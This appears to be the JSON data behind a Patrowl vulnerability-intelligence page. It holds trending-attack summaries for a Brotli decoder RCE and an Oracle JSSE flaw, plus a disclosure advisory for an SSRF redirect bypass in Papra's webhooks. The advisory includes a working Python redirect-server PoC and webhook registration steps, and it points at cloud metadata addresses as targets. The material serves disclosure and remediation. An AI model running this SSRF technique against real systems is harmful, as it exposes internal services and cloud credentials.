[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-48051":30,"landing-articles":79},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":51,"references":53,"score":57,"epss_score":58,"epss_percentile":59,"is_kev":60,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":61,"attack_mappings":71,"exploits":78},359020,"CVE-2026-48051","EUVD-2026-49390","Papra HTTP redirect bypass can lead to SSRF via webhook delivery system\n\n### Summary\n\nPapra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses — loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (`ofetch`) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client.\n\n### Details\n\n**The vulnerable call**\n\nThe webhook HTTP client in `packages\u002Fwebhooks\u002Fsrc\u002Fwebhooks.services.ts` (lines 16–19) calls `ofetch.raw()` without specifying a `redirect` option:\n\n```typescript\nconst response = await ofetch.raw\u003Cunknown>(url, {\n  ...options,\n  ignoreResponseError: true,\n  \u002F\u002F no `redirect` option — defaults to 'follow' per Fetch API spec\n});\n```\n\n`ofetch` is a thin wrapper around the WHATWG Fetch API. The Fetch specification defines three redirect modes — `follow`, `error`, and `manual` — and sets `follow` as the default. In `follow` mode, the HTTP implementation resolves the redirect chain internally and returns only the final response; application code receives the terminal response with no indication that any redirects occurred. `ofetch` 1.4.1 does not set a `redirect` option in its internal `fetch()` call, so the default applies. The `ignoreResponseError: true` option only suppresses exceptions on non-2xx responses; it has no effect on redirect handling.\n\n**How the bypass works**\n\nThe SSRF protection runs at two points: registration time (`checkWebhookUrlIsSsrfSafe`, `webhooks.usecases.ts:34`) and delivery time (`filterOutSsrfUnsafeWebhooks`, `webhooks.usecases.ts:124`). Both checks work the same way:\n\n```typescript\n\u002F\u002F apps\u002Fpapra-server\u002Fsrc\u002Fmodules\u002Fshared\u002Fssrf\u002Fssrf.services.ts, lines 20-27\nconst hostname = getUrlHostname(url);\nreturn isHostnameSsrfSafe({ hostname, allowedHostnames, dnsLookup, logger });\n\u002F\u002F Resolves hostname → checks all resulting IPs against the blocklist\n\u002F\u002F Blocklist covers: 127.0.0.0\u002F8, 10.0.0.0\u002F8, 172.16.0.0\u002F12, 192.168.0.0\u002F16,\n\u002F\u002F                   169.254.0.0\u002F16, ::1, and other reserved ranges\n```\n\nBoth checks operate on `url` — the registered webhook URL, a public hostname that resolves to a public IP and passes the blocklist. Neither check has any visibility into where the HTTP client will end up after following a redirect. The `Location` header in a 3xx response is never extracted, never DNS-resolved, and never compared against the blocklist. By the time the redirect target is known to the Fetch implementation, the request has already been made.\n\nThe developer cannot observe this gap. The Fetch API gives no opportunity to inspect the redirect target before following it.\n\n**Evidence**\n\nAttacker's redirect server receives the POST and returns 302:\n\n```\n[2026-05-08T15:55:38.388647] POST \u002Fredirect\n  User-Agent: papra-webhook-client    ← set only in webhooks.services.ts:47\n  X-Forwarded-For: \u003CREDACTED>\n\"POST \u002Fredirect HTTP\u002F1.1\" 302 -\n```\n\nPapra's inbound request log immediately after — this is the server logging a request arriving at itself:\n\n```\n{\"message\":\"Request completed\",\"timestampMs\":1778255738420,\n \"data\":{\"status\":200,\"method\":\"GET\",\"path\":\"\u002Fapi\u002Fhealth\",\n         \"userAgent\":\"papra-webhook-client\"}}   ← outbound UA on an inbound request\n```\n\n`papra-webhook-client` is set exclusively by the outbound webhook delivery code (`webhooks.services.ts:47`). Its presence on an inbound log entry is only possible if Papra's own HTTP client followed the 302 and made a request to the loopback. The delivery record confirms the internal endpoint responded HTTP 200:\n\n```\n{\"message\":\"Webhook triggered\",\"timestampMs\":1778255738422,\n \"data\":{\"responseStatus\":200,\"webhookId\":\"wbh_s6t1xzezbzbivyhptcs7qxhk\"}}\n```\n\n### PoC\n\n1. Start `redirect_server.py` on a publicly reachable server (ngrok free tier is sufficient). The example below uses Papra's own health endpoint as the redirect target to demonstrate the bypass — in a cloud environment replace `REDIRECT_TARGET` with `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` or any internal address.\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom socketserver import ThreadingMixIn\nimport datetime\n\nREDIRECT_TARGET = \"http:\u002F\u002F127.0.0.1:1221\u002Fapi\u002Fhealth\"  # replace with desired internal target\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        content_len = int(self.headers.get(\"Content-Length\", 0))\n        body = self.rfile.read(content_len)\n        print(f\"[{datetime.datetime.now(datetime.timezone.utc).isoformat()}] POST {self.path}\")\n        print(f\"  User-Agent: {self.headers.get('User-Agent')}\")\n        print(f\"  Body: {body[:200]}\")\n        self.send_response(302)\n        self.send_header(\"Location\", REDIRECT_TARGET)\n        self.end_headers()\n\nclass ThreadedHTTPServer(ThreadingMixIn, HTTPServer):\n    pass\n\nif __name__ == \"__main__\":\n    server = ThreadedHTTPServer((\"0.0.0.0\", 9999), RedirectHandler)\n    print(\"Redirect server running on port 9999\")\n    server.serve_forever()\n```\n\n> `ThreadingMixIn` is required — Papra immediately opens a second connection to the same port when following the redirect; a single-threaded server deadlocks.\n\n2. Register a webhook pointing to the redirect server:\n   ```\n   POST \u002Fapi\u002Forganizations\u002F{orgId}\u002Fwebhooks\n   {\"name\":\"ssrf-test\",\"url\":\"https:\u002F\u002F{ngrok-url}\u002Fredirect\",\"events\":[\"document:created\"]}\n   ```\n3. Upload any document to the organisation to fire a `document:created` event.\n4. Confirm on the Papra server logs that `\u002Fapi\u002Fhealth` received a GET request with `User-Agent: papra-webhook-client`.\n\n### Impact\n\n- Any authenticated org member (no admin role required) can trigger the exploit.\n- The Papra server makes HTTP requests to internal addresses blocked by its own SSRF list: `127.0.0.0\u002F8`, `169.254.0.0\u002F16`, RFC-1918 ranges.\n- **This is blind SSRF** — internal response bodies are written to `webhook_deliveries` but no API route exposes delivery records. Response content is not accessible to the attacker through the Papra API.\n- Internal network topology can be partially inferred from whether requests succeed or fail (closed port produces a network error; open port returns an HTTP response).\n- HTTP 307 redirects preserve the POST method and body, enabling state-changing requests to internal services that accept unauthenticated POSTs.\n- On cloud deployments (AWS, GCP, Azure), the instance metadata service at `169.254.169.254` is reachable by the same technique. Cloud IMDS was not tested in this PoC (local Docker environment, no metadata service present). Response exfiltration via the Papra API remains unavailable regardless.\n\n**Suggested Fix**\n\nAdd `redirect: 'manual'` to the `ofetch.raw()` call in `packages\u002Fwebhooks\u002Fsrc\u002Fwebhooks.services.ts` (line 16) and treat any 3xx response as a delivery failure. Webhook endpoints have no legitimate reason to redirect:\n\n```typescript\nconst response = await ofetch.raw\u003Cunknown>(url, {\n  ...options,\n  redirect: 'manual',       \u002F\u002F do not follow redirects\n  ignoreResponseError: true,\n});\n```\n\nIf redirect-following is ever required in the future, validate the `Location` header through the existing `isUrlSsrfSafe()` check before re-issuing the request.","2026-06-10T13:39:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":44,"privilegesRequired":42,"confidentialityImpact":42},"CHANGED","3.1",3.5,"NETWORK","LOW","CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:N\u002FA:N","NONE","HIGH",true,[48],"CWE-918",[50],"cpe:2.3:a:papra:webhooks:*:*:*:*:*:*:*:*",[52],"Papra Webhooks",[54,55,56],"https:\u002F\u002Fgithub.com\u002Fpapra-hq\u002Fpapra\u002Fsecurity\u002Fadvisories\u002FGHSA-5g86-85rp-f9hx","https:\u002F\u002Fgithub.com\u002Fpapra-hq\u002Fpapra\u002Fcommit\u002F086dccbfda18c850bee50b94c48f5f110be6935c","https:\u002F\u002Fgithub.com\u002Fpapra-hq\u002Fpapra",0.38,0.00255,0.16962,false,{"timestamp":62,"automatable":63,"tech_impact":64,"exploitation":65,"cisa_decision":66,"cisa_remediation_timeline":70},"2026-07-28T14:52:41.540495Z","no","partial","poc",{"vector":67,"decision":68,"priority":69},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T02:05:56.908506\u002F","track_star","medium","60D",[72],{"name":73,"source":74,"tactics":75,"technique_id":77},"Exploit Public-Facing Application","attack_vector",[76],"initial-access","T1190",[],{"count":80,"next":81,"previous":6,"results":82},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[83,91,99],{"id":84,"title":85,"summary":86,"published_at":87,"type":88,"link":89,"image_url":90},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":92,"title":93,"summary":94,"published_at":95,"type":96,"link":97,"image_url":98},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":100,"title":101,"summary":102,"published_at":103,"type":104,"link":105,"image_url":106},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]